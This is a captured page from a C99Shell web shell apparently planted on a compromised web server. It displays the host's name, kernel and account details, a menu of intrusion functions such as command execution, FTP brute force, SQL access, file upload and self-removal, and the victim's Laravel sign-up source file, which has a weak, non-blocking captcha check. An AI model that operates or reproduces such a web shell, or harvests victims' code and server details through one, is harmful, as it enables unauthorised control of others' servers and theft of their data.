!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/Auth/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SignUp.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire\Auth;

use 
App\Models\Affiliate;
use 
App\Models\AffiliateInvite;
use 
App\Models\AffiliateSetting;
use 
App\Models\User;
use 
Illuminate\Auth\Events\Registered;
use 
Illuminate\Support\Facades\Http;
use 
Livewire\Component;

class 
SignUp extends Component
{
    public 
$name;

    public 
$email;

    public 
$password;

    public 
$cpassword;

    public 
$captcha null;

    public 
$code;

    public function 
mount()
    {
        
$this->code request()->input('aff_code'null);
    }

    public function 
render()
    {
        return 
view('livewire.auth.sign-up');
    }

    public function 
register()
    {
        
$this->validate([
            
'name' => 'required|string|max:255',
            
'email' => 'required|email|unique:users,email',
            
'password' => 'required|min:8',
            
'cpassword' => 'required|same:password',
            
'captcha' => config('captcha.active') ? 'required' '',
        ], 
$this->customValidationMessages());

        
$user User::create([
            
'name' => $this->name,
            
'email' => $this->email,
            
'password' => bcrypt($this->password),
        ]);

        
$affiliateCode $this->code;

        if (
$affiliateCode) {

            
$invitePoints AffiliateSetting::first()->invite_points;

            
$affiliatePartner Affiliate::where('affiliate_code'$affiliateCode)->first();
            
$affiliatePartner->total_points = (int) $affiliatePartner->total_points + (int) $invitePoints;
            
$affiliatePartner->save();

            
AffiliateInvite::create([
                
'user_id' => $affiliatePartner->user_id,
                
'email' => $user->email,
                
'code' => $affiliateCode,
                
'points' => (int) $invitePoints,
                
'status' => 1,
            ]);
        }

        
//to call email verification
        
event(new Registered($user));

        
// Login user
        
auth()->guard('user')->attempt([
            
'email' => $this->email,
            
'password' => $this->password,
        ]);

        
// Regenerate session and redirect to dashboard
        
request()->session()->regenerate();
        
session()->flash('success''Registration successful');

        return 
to_route('frontend.dashboard');
    }

    protected function 
customValidationMessages()
    {
        return [
            
'cpassword.required' => 'The confirmation password field is required.',
            
'cpassword.same' => 'The confirmation password does not match the password.',
        ];
    }

    public function 
updatedCaptcha($token)
    {
        
$response Http::post(
            
'https://www.google.com/recaptcha/api/siteverify?secret='.
            
config('captcha.sitekey').
            
'&response='.$token
        
);

        
$success $response->json()['success'];

        if (
$success) {
            
$this->captcha true;
        }
        
// if (! $success) {
        //     throw ValidationException::withMessages([
        //         'captcha' => __('Google thinks, you are a bot, please refresh and try again!'),
        //     ]);
        // } else {
        //     $this->captcha = true;
        // }
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--